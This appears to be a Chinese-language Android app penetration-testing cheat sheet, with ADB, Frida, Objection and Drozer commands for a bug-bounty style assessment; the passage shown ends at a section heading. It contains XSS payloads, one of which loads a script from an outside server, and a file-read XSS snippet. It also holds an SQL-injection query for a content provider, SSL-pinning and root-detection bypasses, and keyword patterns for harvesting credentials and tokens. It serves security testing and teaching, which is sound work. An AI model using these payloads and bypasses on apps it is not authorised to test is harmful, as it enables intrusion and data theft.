Android渗透测试备忘录
这更像是我自己的一个清单。可能包含一些有用的提示和技巧。还需要添加很多内容。
所有内容都在Kali Linux v2023.1(64位)和搭载Android OS v8.0(奥利奥)以及Magisk root v25.2的三星A5(2017)上进行了测试。
如果你想要root你的Android设备,请查看Magisk。我对你的行为不承担任何责任。
要获取任何工具的帮助,请输入<工具名称> [-h | -hh | --help]
或man <工具名称>
。
如果你还没有,请阅读OWAS MASTG(GitHub)和OWASP MASVS(GitHub)。你可以从这里下载OWASP MASTG清单。
我还建议阅读HackTricks - Android应用渗透测试。
在大多数情况下,要有资格获得漏洞赏金奖励,你需要在非root权限下利用漏洞,可能需要构建自己的"恶意"概念验证应用。
从我的另一个项目了解更多关于我的"恶意"概念验证应用的信息。
撰写报告时应使用的网站:
- cwe.mitre.org/data
- owasp.org/projects
- owasp.org/www-project-mobile-top-10
- cheatsheetseries.owasp.org
- first.org/cvss/calculator/4.0
- nvd.nist.gov/vuln-metrics/cvss/v3-calculator
- nvd.nist.gov/ncp/repository
- attack.mitre.org
我的其他备忘录:
未来计划:
- 修改
networkSecurityConfig
以添加自定义根CA证书, - 测试小部件、推送通知和Firebase,
- SMALI代码注入,
- Flutter攻击,
- 创建更多Frida脚本。
目录
0. 安装工具
- WiFi ADB - 无线调试
- Magisk Frida
- Magisk SQLite 3
- BusyBox
- Kali Linux 工具
- Java
- Apktool
- 移动安全框架(MobSF)
- Drozer
- 安装网络代理证书 1. 基础知识
- Android 调试桥(ADB)
- 安装/卸载 APK
- 下载/上传文件和目录
- 绕过权限拒绝 2. 检查 APK
- 提取 APK(base.apk)
- AndroidManifest.xml
- strings.xml 3. 搜索文件和目录
- SharedPreferences 4. 检查文件
- 单个文件
- 多个文件
- 文件爬虫
- SQLite 3
- Nuclei
- 备份 5. SpotBugs 6. 深度链接
- Android 应用链接验证测试器
- 深度链接劫持 7. WebView 8. Frida
- Frida 脚本 9. Objection
- 绕过 10. Drozer
- Intent
- 内容提供者
- 广播接收器 11. Intent 注入 12. 任务劫持 13. 点击劫持 14. 反编译 APK 15. 重新打包 APK
- 解码
- 重新打包
- 代码签名 16. 其他
- 监控系统日志
- 监控文件变化 17. 提示和安全最佳实践 18. 有用的网站和工具 19. 易受攻击的应用
0. 安装工具
WiFi ADB - 无线调试
安装 WiFi ADB - 无线调试。与 ADB 配合使用。
图1 - WiFi ADB - 无线调试
Magisk Frida
下载 Magisk Frida,然后打开 Magisk 应用,通过导入下载的压缩包来安装 Frida。
图2 - Magisk Frida
Magisk SQLite 3
下载 Magisk SQLite 3,然后打开 Magisk 应用,通过导入下载的压缩包来安装 SQLite 3。
BusyBox
为高级用户提供的附加工具集。更多信息请访问 busybox.net (Google Play)。
Kali Linux 工具
在 Kali Linux 上安装所需工具:
apt-get -y install docker.io
systemctl start docker
apt-get -y install adb dex2jar jadx nuclei radare2 sqlite3 sqlitebrowser xmlstarlet apksigner zipalign
pip3 install frida-tools objection file-scraper
关于我的工具的更多信息可以在 ivan-sincek/file-scraper 找到。 确保 Frida 和 Objection 始终保持最新版本:
pip3 install --upgrade frida-tools objection
Java
安装:
apt-get -y install default-jdk
更多 Java/JDK 版本可以在 oracle.com/java/technologies/downloads/archive 找到。 要在多个 Java/JDK 版本之间切换,运行:
update-alternatives --config java
update-alternatives --config javac
Apktool
下载并安装:
apt-get -y install aapt
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool -O apktool
chmod +x apktool && cp apktool /usr/local/bin/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar -O apktool.jar
chmod +x apktool.jar && cp apktool.jar /usr/local/bin/apktool.jar
移动安全框架 (MobSF)
安装:
docker pull opensecurity/mobile-security-framework-mobsf
运行:
docker run -it --rm --name mobsf -p 8000:8000 opensecurity/mobile-security-framework-mobsf
使用您喜欢的网络浏览器访问 http://localhost:8000
。
有时,由于某些原因,MobSF 可能无法解析您的 APK;在这种情况下,尝试 解码 和 重新打包 您的 APK,然后再次上传。
卸载:
docker image rm opensecurity/mobile-security-framework-mobsf
Drozer
安装:
docker pull fsecurelabs/drozer
运行:
docker run -it --rm --name drozer fsecurelabs/drozer
下载 Drozer Agent 并手动安装或使用 ADB 安装。 卸载:
docker image rm fsecurelabs/drozer
安装网络代理证书
打开Burp Suite,导航至"代理 --> 代理设置"并保存证书,例如保存为"burp_suite_root_ca.der"。
图3 - 导出Burp Suite代理证书
打开ZAP,导航至"工具 --> 选项 --> 网络 --> 服务器证书",并保存证书,例如保存为"zap_root_ca.cer"。
图4 - 导出ZAP证书
现在,你可以手动将文件传输到Android设备,或者运行以下命令:
adb push burp_suite_root_ca.der /storage/emulated/0/
adb push zap_root_ca.cer /storage/emulated/0/
"/storage/emulated/0/"是可以通过用户界面访问的内部存储路径,例如,在你的Android设备上,导航至"我的文件 --> 内部存储"。
要安装证书,只需点击证书文件并按照屏幕上的说明操作即可。
1. 基础知识
Android 调试桥 (ADB)
启动服务器:
adb start-server
停止服务器:
adb kill-server
列出已连接设备:
adb devices
使用WiFi ADB连接到远程设备:
adb connect 192.168.1.10:5555
以非root身份打开系统shell:
adb shell
以root身份打开系统shell:
adb shell su
显示activity manager的完整用法:
adb shell am -h
安装/卸载APK
安装APK(指定 -s
将APK安装到可移动存储设备):
adb install someapp.apk
adb install -s someapp.apk
卸载APK(指定 -k
保留数据和缓存目录):
adb uninstall com.someapp.dev
adb uninstall -k com.someapp.dev
下载/上传文件和目录
一些内部存储路径:
cd /data/local/tmp/
cd /data/data/com.someapp.dev/cache/
cd /data/user/0/com.someapp.dev/cache/
cd /mnt/sdcard/Android/data/com.someapp.dev/cache/
cd /storage/emulated/0/Android/data/com.someapp.dev/cache/
cd /mnt/sdcard/Android/obb/com.someapp.dev/cache/
cd /storage/emulated/0/Android/obb/com.someapp.dev/cache/
cd /mnt/media_rw/3664-6132/Android/data/com.someapp.dev/files/
cd /storage/3664-6132/Android/data/com.someapp.dev/files/
/data/user/0/
和 /storage/emulated/0/
路径中的数字 0
表示多用户设备中的第一个用户。
/storage/emulated/0/
是可以通过UI访问的内部存储路径,例如,在您的Android设备上,导航到 我的文件 --> 内部存储
。
不要将 /mnt/sdcard/
路径与实际的可移动存储路径混淆,因为有时这样的路径是特定于设备的,所以您需要在互联网上搜索或使用一些Java代码提取它。在我的情况下,它是 /mnt/media_rw/3664-6132/
路径。
XML --> Java方法 --> 路径
<files-path/> --> getContext().getFilesDir() --> /data/user/0/com.someapp.dev/files
<cache-path/> --> getContext().getCacheDir() --> /data/user/0/com.someapp.dev/cache
<external-path/> --> Environment.getExternalStorageDirectory() --> /storage/emulated/0
<external-files-path/> --> getContext().getExternalFilesDir("") --> /storage/emulated/0/Android/data/com.someapp.dev/files
<external-cache-path/> --> getContext().getExternalCacheDir() --> /storage/emulated/0/Android/data/com.someapp.dev/cache
<external-media-path/> --> getContext().getExternalMediaDirs() --> /storage/emulated/0/Android/media/com.someapp.dev
/storage/3664-6132/Android/media/com.someapp.dev
- --> getContext().getExternalFilesDirs("") --> /storage/emulated/0/Android/data/com.someapp.dev/files
/storage/3664-6132/Android/data/com.someapp.dev/files
波浪号 ~
是根目录的简写。
从Android设备下载文件或目录:
adb pull ~/somefile.txt ./
adb pull ~/somedir ./
请记住,并非所有目录都有写入和/或执行权限;无论如何,您始终可以上传文件到 /data/local/tmp/
目录并从中执行。
上传文件或目录到Android设备:
adb push somefile.txt /data/local/tmp/
adb push somedir /data/local/tmp/
空目录不会被上传。
绕过权限拒绝
从Android设备下载文件:
adb shell su -c 'cat ~/somefile.txt' > somefile.txt
adb shell su -c 'run-as com.someapp.dev cat ~/somefile.txt' > somefile.txt
从Android设备下载目录:
dir="somedir"; IFS=$'\n'; for subdir in $(adb shell su -c "find \"${dir}\" -type d"); do mkdir -p ".${subdir}"; done; for file in $(adb shell su -c "find \"${dir}\" -type f"); do adb shell su -c "cat \"${file// /\\\ }\"" > ".${file}"; done;
上传文件或目录到Android设备:
src="somefile.txt"; dst="/data/data/com.someapp.dev/"; tmp="/data/local/tmp/"; base=$(basename "${src}"); adb push "${src}" "${tmp}"; adb shell su -c "cp -r \"${tmp}${base}\" \"${dst}\" && rm -rf \"${tmp}${base}\""
2. 检查APK文件
获取APK文件(base.apk)
adb shell pm list packages '关键词' | cut -d ':' -f2
adb pull $(adb shell pm path com.someapp.dev | cut -d ':' -f2 | grep 'base.apk') ./
使用特定关键词获取APK文件(单行命令):
keyword="关键词"; pkg=$(adb shell pm list packages "${keyword}" | head -n 1 | cut -d ':' -f2); adb pull $(adb shell pm path "${pkg}" | cut -d ':' -f2 | grep 'base.apk') ./
使用Apktool解码APK文件。现在你应该能看到decoded
目录。
AndroidManifest.xml
始终检查decoded/AndroidManifest.xml
内容以发现可能的错误配置。
在AndroidManifest.xml中需要关注的事项:
minSdkVersion
、targetSDKVersion
和maxSdkVersion
- 应用不应支持过时和存在漏洞的Android版本,debuggable="true"
- 生产应用(即构建)不应可调试,android:allowBackup="true"
- 应用不应备份任何敏感数据,usesCleartextTraffic="true"
- 应用不应使用明文HTTP通信,networkSecurityConfig
- 检查decoded/res/xml/
目录中的网络安全配置,查看SSL/TLS固定、白名单域名和cleartextTrafficPermitted="true"
,permission
- 查找未使用的[自定义]权限,以及保护级别(protectionLevel
)较弱的权限,exported="true"
- 枚举导出的活动、内容提供者、广播接收器和服务,taskAffinity
- 缺少此属性的活动可能容易受到任务劫持的影响,android:autoVerify="true"
- 缺少此属性的深度链接可能容易受到深度链接劫持的影响,- 等等。
从AndroidManifest.xml提取URL方案:
xmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme]' -v '@android:scheme' -n AndroidManifest.xml | sort -uf | tee url_schemes.txt
从AndroidManifest.xml提取URL方案和相应的主机:
xmlstarlet sel -t -m '//activity/intent-filter/data[@android:scheme and @android:host]' -v 'concat(@android:scheme, "://", @android:host, @android:pathPrefix, @android:path, @android:pathSufix)' -n AndroidManifest.xml | sort -uf | tee url_schemes_hosts.txt
将AndroidManifest.xml中的所有@string
键解析为键: 值
对:
dir="./"; for key in $(grep -Poi '(?<="\@string\/).+?(?=\")' "${dir}/AndroidManifest.xml" | sort -u); do val=$(xmlstarlet sel -t -v "/resources/string[@name='${key}']" "${dir}/res/values/strings.xml"); echo "${key}: ${val}"; done
strings.xml
始终检查 decoded/res/values/strings.xml
文件,查找端点、敏感数据[采用Base64编码]等。更多示例请参见4. 检查文件部分。
3. 搜索文件和目录
从根目录搜索文件和目录:
find / -iname '*关键词*'
在应用特定目录中搜索文件和目录(在Objection中运行env
):
cd /data/user/0/com.someapp.dev/
cd /storage/emulated/0/Android/data/com.someapp.dev/
cd /storage/emulated/0/Android/obb/com.someapp.dev/
如果你想从Android设备下载整个目录,请参阅下载/上传文件和目录部分。 我更倾向于下载应用特定目录,然后在Kali Linux上进行文件检查。
从当前目录搜索文件和目录:
find . -iname '*关键词*'
for keyword in 'access' 'account' 'admin' 'card' 'cer' 'conf' 'cred' 'customer' 'email' 'history' 'info' 'json' 'jwt' 'key' 'kyc' 'log' 'otp' 'pass' 'pem' 'pin' 'plist' 'priv' 'refresh' 'salt' 'secret' 'seed' 'setting' 'sign' 'sql' 'token' 'transaction' 'transfer' 'tar' 'txt' 'user' 'zip' 'xml'; do find . -iname "*${keyword}*"; done
SharedPreferences
在SharedPreferences不安全存储目录中搜索文件和目录:
cd /data/user/0/com.someapp.dev/shared_prefs/
这些文件不应该是全局可读的(例如,-rw-rw-r--
不好,-rw-rw----
是好的):
ls /data/user/0/com.someapp.dev/shared_prefs/ -al
如果生产版本是可调试的,低权限用户可以通过利用run-as
命令获取应用特定目录的读取权限。
作为非root用户从SharedPreferences下载文件:
adb exec-out run-as com.someapp.dev cat /data/user/0/com.someapp.dev/shared_prefs/somefile.xml > somefile.xml
SharedPreferences默认是未加密且会被备份的,因此,用户退出后不应包含任何敏感数据 - 应通过调用SharedPreferences.Editor.clear()清除。还应通过在应用的AndroidManifest.xml中指定dataExtractionRules将其排除在备份之外。
4. 检查文件
检查内存转储、二进制文件、反编译 APK 内的文件、应用程序特定目录中的文件或任何其他文件。
测试完成[并登出]后,别忘了下载应用程序特定的目录并检查里面的所有文件。检查新增的内容以及登出后仍然存在的内容。
由于正则表达式并不完美,可能会有一些误报结果。我更倾向于使用 rabin2
而不是 strings
,因为它可以读取 Unicode 字符。
在你的 Android 设备上,尝试修改应用程序的文件以测试文件系统校验和验证,即测试文件完整性验证。
单个文件
搜索硬编码的敏感数据:
rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+'
rabin2 -zzzqq somefile | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+'
rabin2 -zzzqq somefile | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+'
提取 URL、深度链接、IP 等:
rabin2 -zzzqq somefile | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | sort -uf | tee urls.txt
rabin2 -zzzqq somefile | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt
提取所有字符串并解码 Base64 字符串:
rabin2 -zzzqq somefile | sort -uf > strings.txt
grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt
for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt
多个文件
搜索硬编码的敏感数据:
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:basic|bearer)\ .+'; done
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '(?:access|account|admin|basic|bearer|card|conf|cred|customer|email|history|id|info|jwt|key|kyc|log|otp|pass|pin|priv|refresh|salt|secret|seed|setting|sign|token|transaction|transfer|user)[\w\d]*(?:\"\ *\:|\ *\=).+'; done
IFS=$'\n'; for file in $(find . -type f); do echo -n "\nFILE: \"${file}\"\n"; rabin2 -zzzqq "${file}" 2>/dev/null | grep -Pi '[^\w\d\n]+(?:bug|comment|fix|issue|note|problem|to(?:\_|\ |)do|work)[^\w\d\n]+.+'; done
提取 URL、深度链接、IP 等:
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '\w+\:\/\/[\w\-\.\@\:\/\?\=\%\&\#]+' | grep -Piv '\.(css|gif|jpeg|jpg|ogg|otf|png|svg|ttf|woff|woff2)' | sort -uf | tee urls.txt
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | grep -Po '(?:\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(?:\.(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}' | sort -uf | tee ips.txt
提取所有字符串并解码 Base64 字符串:
IFS=$'\n'; for file in $(find . -type f); do rabin2 -zzzqq "${file}" 2>/dev/null; done | sort -uf > strings.txt
grep -Po '(?:[a-zA-Z0-9\+\/]{4})*(?:[a-zA-Z0-9\+\/]{4}|[a-zA-Z0-9\+\/]{3}\=|[a-zA-Z0-9\+\/]{2}\=\=)' strings.txt | sort -uf > base64.txt
for string in $(cat base64.txt); do res=$(echo "${string}" | base64 -d 2>/dev/null | grep -PI '[\s\S]+'); if [[ ! -z $res ]]; then echo -n "${string}\n${res}\n\n"; fi; done | tee base64_decoded.txt
文件扫描器
使用单一工具自动执行上述所有文件检查(以及更多),还支持多线程。
apt-get -y install radare2
pip3 install file-scraper
file-scraper -dir source -o file_scraper_results.html -e default
更多关于我的其他项目,请参见 ivan-sincek/file-scraper。
SQLite 3
使用 ADB 下载数据库文件,然后使用 DB Browser for SQLite 打开它们。
要检查内容,导航到 Browse Data
标签页,展开 Table
下拉菜单,选择所需的表格。
图 5 - DB Browser for SQLite
要直接在 Android 设备上检查和/或编辑数据库文件,使用 SQLite 3;ADB 连接到你的 Android 设备并运行以下命令:
sqlite3 somefile
.dump
.tables
SELECT * FROM sometable;
.quit
Nuclei
下载移动端 Nuclei 模板:
git clone https://github.com/optiv/mobile-nuclei-templates ~/mobile-nuclei-templates
使用 Apktool 解码 APK。
搜索硬编码的敏感数据:
echo decoded | nuclei -t ~/mobile-nuclei-templates/Keys/ -o nuclei_keys_results.txt
cat nuclei_keys_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_keys_results_sorted.txt
echo decoded | nuclei -t ~/mobile-nuclei-templates/Android/ -o nuclei_android_results.txt
cat nuclei_android_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_android_results_sorted.txt
备份
创建整个 Android 设备的备份:
adb backup -system -apk -shared -all -f backup.ab
创建特定应用程序的备份:
adb backup -nosystem -noapk -noshared -f backup.ab com.someapp.dev
应用程序不应备份任何敏感数据。
从备份恢复:
adb restore backup.ab
--
下载最新的 Android Backup Extrator,并将备份重新打包为可浏览的归档文件(TAR):
java -jar abe.jar unpack backup.ab backup.tar
你可以尝试篡改可浏览的归档文件(TAR)并将其重新打包为可恢复的格式:
java -jar abe.jar pack backup.tar backup.ab
5. SpotBugs
用于识别APK(实际上是JAR文件)内部安全漏洞的SAST工具。
[1] 将APK转换为JAR:
d2j-dex2jar base.apk -o base.jar
[2] 使用jadx反编译JAR文件。现在你应该能看到source_jar
目录。
[3] 从GitHub下载最新版本的工具,解压缩文件,并在/lib/
目录下打开你偏好的控制台。
使用GUI运行:
java -jar spotbugs.jar -gui
图6 - SpotBugs
不使用GUI运行:
java -jar spotbugs.jar -textui -progress -sourcepath /root/Desktop/source_jar/sources -html=/root/Desktop/spotbugs_results.html /root/Desktop/base.jar
更多关于该工具的信息,请访问spotbugs/spotbugs。
6. 深度链接
使用developers.google.com/digital-asset-links/tools/generator测试/.well-known/assetlinks.json。 深度链接有时可能绕过身份验证,包括生物识别。 别忘了测试深度链接是否存在跨站脚本攻击(XSS)、开放重定向等漏洞,尤其是在打开WebView的情况下。
创建HTML模板以手动测试深度链接(另见##):
mkdir android_deep_links
# 多个URL方案
for scheme in $(cat url_schemes.txt); do for url in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do if [[ ! -z $url ]]; then echo -n "<a href='${url}'>${url}</a>\n<br><br>\n" | tee -a "android_deep_links/${scheme}_deep_links.html"; fi; done; done
# 单个URL方案
scheme="somescheme"; for string in $(cat urls.txt | grep -Poi "${scheme}\:\/\/.+"); do echo -n "<a href='${string}'>${string}</a>\n<br><br>\n"; done | tee -a "android_deep_links/${scheme}_deep_links.html"
python3 -m http.server 9000 --directory android_deep_links
关于url_schemes.txt
,请参见AndroidManifest.xml章节,关于urls.txt
,请参见4. 检查文件章节。
使用ADB打开深度链接:
adb shell am start -W -a android.intent.action.VIEW -d 'somescheme://com.someapp.dev/somepath?somekey=somevalue'
如果看到弹出窗口显示多个应用可以打开同一个深度链接,很可能这个深度链接可以被劫持。
Android应用链接验证测试器
安装:
git clone https://github.com/inesmartins/Android-App-Link-Verification-Tester && cd Android-App-Link-Verification-Tester
pip3 install -r requirements.txt
使用Apktool解码APK。现在你应该看到decoded
目录。
获取深度链接:
python3 deeplink_analyser.py -op list-applinks -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml
构建PoC:
python3 deeplink_analyser.py -op build-poc -m decoded/AndroidManifest.xml -s decoded/res/values/strings.xml
验证应用链接(有效的应用链接使用http[s]
方案):
python3 deeplink_analyser.py -op verify-applinks -apk base.apk -p com.someapp.dev
深度链接劫持
在网站成功登录后劫持深度链接可以轻易导致会话劫持。 正确实现的应用链接不能被劫持。 要劫持深度链接,在"恶意"PoC应用的AndroidManifest.xml中指定它:
<data
android:scheme="somescheme"
android:host="somehost"
/>
增加优先级也可能增加你劫持深度链接的机会:
<intent-filter android:priority="999">
之后,你需要找到触发目标深度链接的方法。 从我的另一个项目了解如何使用"恶意"PoC应用执行深度链接劫持。
7. WebView
除非有明确需求,否则不应该允许用户控制WebView的URL,例如通过意图。
WebView很容易导致跨站脚本攻击(XSS)、任意文件读写、数据泄露和窃取、远程代码执行(RCE)等问题。
在源代码中需要注意的内容:
- WebView
- setJavaScriptEnabled
- 默认值:
false
- setAllowFileAccess
- 在Android 11.0+和API 30+上默认值为
false
- setAllowUniversalAccessFromFileURLs
- 在Android 4.1+和API 16+上默认值为
false
- setAllowFileAccessFromFileURLs
- 在Android 4.1+和API 16+上默认值为
false
- 如果
getAllowUniversalAccessFromFileURLs
为true
,则忽略该值 - addJavascriptInterface
- 默认情况下,在Android 4.2+和API 17+上,只有带有
@JavascriptInterface
注解的公共方法可以被添加;否则,所有公共方法(包括继承的方法)都可以被添加 - loadUrl
简单的跨站脚本(XSS)攻击载荷:
javascript:alert(1)
<script>alert(1)</script>
<script>alert(someJavaScriptBridge.someMethod())</script>
<script src="https://myserver.com/xss.js"></script>
<img src="https://github.com/favicon.ico" onload="alert(1)">
使用file://
URL方案进行任意文件读取:
file:///data/data/com.someapp.dev/shared_prefs/somefile.xml
使用跨站脚本(XSS)进行任意文件读取:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.someapp.dev/shared_prefs/somefile.xml", true); // 异步
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText); // 仅用于演示目的
}
}
xhr.send();
</script>
测试完成[并注销]后,别忘了下载应用特定目录并检查其中的所有文件。检查新增的内容以及注销后仍然存在的内容。
需要查看的WebView特定目录:
app_webview
blob_storage
Cookies
pref_store
Service Worker
Session Storage
Web Data
8. Frida
有用的资源:
- frida.re
- learnfrida.info
- codeshare.frida.re
- dweinstein/awesome-frida
- interference-security/frida-scripts
- m0bilesecurity/Frida-Mobile-Scripts
- WithSecureLabs/android-keystore-audit
列出进程:
frida-ps -Uai
frida-ps -Uai | grep -i '关键词'
获取指定关键词的PID:
frida-ps -Uai | grep -i '关键词' | cut -d ' ' -f 1
发现内部方法/调用:
frida-discover -U -f com.someapp.dev | tee frida_discover.txt
跟踪内部方法/调用:
frida-trace -U -p 1337
frida-trace -U -p 1337 -i 'recv*' -i 'send*'
Frida 脚本
使用 android-ssl-pinning-bypass-2 脚本绕过SSL固定:
frida -U -no-pause -l android-ssl-pinning-bypass-2.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass-2 -f com.someapp.dev
我更喜欢使用 Objection 中的内置方法。
要使此Frida脚本工作,你需要将Burp Proxy或ZAP证书推送到特定位置,并使用特定名称 cacert.der
:
adb push cacert.der /data/local/tmp/cacert.der
使用 android-ssl-pinning-bypass 脚本绕过SSL固定:
frida -U -no-pause -l android-ssl-pinning-bypass.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/android-ssl-pinning-bypass -f com.someapp.dev
我更喜欢使用 Objection 中的内置方法。
使用 android-intent-monitor 脚本监控所有intent调用,包括深度链接:
frida -U -no-pause -l android-intent-monitor.js -f com.someapp.dev
frida -U -no-pause --codeshare ivan-sincek/android-intent-monitor -f com.someapp.dev
9. Objection
有用的资源:
运行:
objection -g com.someapp.dev explore
在Objection中运行Frida脚本:
import somescript.js
objection -g com.someapp.dev explore --startup-script somescript.js
获取环境变量:
env
列出KeyStore:
android keystore list
将应用程序的内存转储到文件:
memory dump all mem.dmp
例如,在10分钟不活动后转储应用程序的内存,然后检查敏感数据是否仍在内存中。参见4. 检查文件部分。 如果Objection与应用程序断开连接,使用进程ID重新附加,而无需重启应用程序。
直接搜索应用程序的内存:
memory search 'somestring' --string
列出类和方法:
android hooking list classes
android hooking search classes com.someapp.dev
android hooking search classes 'keyword'
android hooking list class_methods 'someclass'
android hooking search methods com.someapp.dev 'someclass'
钩取类或方法:
android hooking watch class 'someclass'
android hooking watch class_method 'somemethod' --dump-args --dump-backtrace --dump-return
更改方法的返回值:
android hooking set return_value 'somemethod' 'somevalue'
监控剪贴板:
android clipboard monitor
绕过
绕过root检测:
android root disable --quiet
objection -g com.someapp.dev explore --startup-command 'android root disable --quiet'
绕过SSL pinning:
android sslpinning disable --quiet
objection -g com.someapp.dev explore --startup-command 'android sslpinning disable --quiet'
此外,你还可以导入Frida脚本。
10. Drozer
连接到远程代理:
drozer console connect --server 192.168.1.10
列出模块并显示模块详情:
list
run somemodule --help
列出/搜索包:
run app.package.list
run app.package.list -f 'keyword'
run app.package.list -p android.permission.SOME_PERMISSION
run app.package.backup
run app.package.debuggable
显示包信息:
run app.package.info -a com.someapp.dev
显示应用的AndroidManifest.xml:
run app.package.manifest com.someapp.dev
如果Drozer没有获取到完整的manifest文件,请使用Apktool解码APK并手动检查文件。
显示应用的攻击面:
run app.package.attacksurface com.someapp.dev
Intent
Intent与其他Android组件一起,很容易导致跨站脚本攻击(XSS)、任意文件读/写、数据泄露和窃取、远程代码执行(RCE)等。 更多关于intent和intent过滤器的信息,请参阅这里。
列出已导出和受保护(未导出)的活动及其intent:
run app.activity.info -i -a com.someapp.dev
run app.activity.info -u -i -a com.someapp.dev
检查启动intent(主活动):
run app.package.launchintent com.someapp.dev
列出可浏览的URI(深层链接):
run scanner.activity.browsable -a com.someapp.dev
你需要反向工程APK并查看源代码,以找出需要发送给intent的参数来利用它。
启动一个活动:
run app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity
run app.activity.start --component com.someapp.dev com.someapp.dev.SomeActivity --action android.intent.action.SOME_ACTION --data-uri somescheme://somehost --extra integer somekey somevalue --extra string somekey somevalue
使用--help
查看更多选项。
在Drozer中,由于命令行界面(CLI)的限制,你无法向intent传递数组、列表、对象等,但如果你构建自己的"恶意"应用,就可以做到这一点。
内容提供者
更多关于内容提供者的信息,请参阅这里。
列出已导出和受保护(未导出)的内容提供者:
run app.provider.info -a com.someapp.dev
run app.provider.info -u -a com.someapp.dev
列出、查询所有内容提供者的URI,并扫描漏洞:
run app.provider.finduri com.someapp.dev
run scanner.provider.finduris -a com.someapp.dev
run scanner.provider.injection -a com.someapp.dev
run scanner.provider.sqltables -a com.someapp.dev
run scanner.provider.traversal -a com.someapp.dev
你需要反向工程APK并查看源代码,以找出需要发送给内容提供者的参数来利用它。
内容提供者CRUD控制等:
run app.provider.insert content://com.someapp.dev.ContentProvider --integer somekey somevalue --string somekey somevalue
run app.provider.query content://com.someapp.dev.ContentProvider --projection '*'
run app.provider.query content://com.someapp.dev.ContentProvider --projection '* FROM anothertable;--'
run app.provider.update content://com.someapp.dev.ContentProvider --selection 'somekey=?' --selection-args somevalue --integer somekey somevalue --string somekey somevalue
run app.provider.delete content://com.someapp.dev.ContentProvider --selection 'somekey=?' --selection-args somevalue
run app.provider.read content://com.someapp.dev.FileProvider/etc/hosts
使用--help
查看更多选项。
广播接收器
更多关于广播的信息,请参阅这里。
列出已导出和受保护(未导出)的广播接收器:
run app.broadcast.info -i -a com.someapp.dev
run app.broadcast.info -i -u -a com.someapp.dev
监控广播接收器:
run app.broadcast.sniff --action com.someapp.dev.SOME_ACTION
你需要反向工程APK并查看源代码,以找出需要发送给广播接收器的参数来利用它。
向广播接收器发送数据:
run app.broadcast.send --action com.someapp.dev.SOME_ACTION --extra integer somekey somevalue --extra string somekey somevalue
在Drozer中,你无法指定广播接收器,但在ADB中可以。
如果广播接收器没有intent过滤器,你可以尝试用一个不存在的action触发它:
adb shell am broadcast -a android.intent.action.NON_EXISTING_ACTION -n come.someapp.dev/.SomeReceiver
使用--help
查看更多选项。
服务
更多关于服务的信息,请参阅这里。
列出已导出和受保护(未导出)的服务:
run app.service.info -i -a com.someapp.dev
run app.service.info -i -u -a com.someapp.dev
你需要反向工程APK并查看源代码,以找出需要发送给服务的参数来利用它。
向服务发送数据:
run app.service.send com.someapp.dev com.someapp.dev.SomeService --msg what arg1 arg2 --extra string somevalue --extra integer somevalue --bundle-as-obj
--msg
是一种特殊的输入类型。更多关于Message类的信息,请参阅这里。
--bundle-as-obj
帮助你解析一种特殊类型的返回数据。更多关于Bundle类的信息,请参阅这里。
使用--help
查看更多选项。
11. Intent 注入
通过使用导出的(代理)intent来访问受保护的(未导出的)组件,如私有文件或SQLite内容提供程序。 这很容易导致任意文件读写、数据泄露和窃取、远程代码执行(RCE)等。 这只能使用"恶意"概念验证应用程序来完成,因为对于Drozer等工具来说过于复杂。 从我的另一个项目中了解如何使用"恶意"概念验证应用程序执行intent注入。
12. 任务劫持
了解如何使用我另一个项目中的"恶意"概念验证应用程序执行任务劫持。 有时,这是设计使然,目的是为了在两个应用程序之间"切换"时改善用户体验(UX)。
13. 点击劫持
了解如何使用我另一个项目中的"恶意"概念验证应用程序来执行点击劫持。
应用程序应通过在其布局文件中指定android:filterTouchesWhenObscured="true"
来防止敏感数据输入上的覆盖。
14. 反编译APK
反编译APK:
jadx --threads-count $(grep -c 'processor' /proc/cpuinfo) -d /root/Desktop/source/ /root/Desktop/base.apk
d2j-dex2jar
和 jadx
结合使用实际上能得到最佳结果。
将APK转换为JAR:
d2j-dex2jar base.apk -o base.jar
反编译JAR:
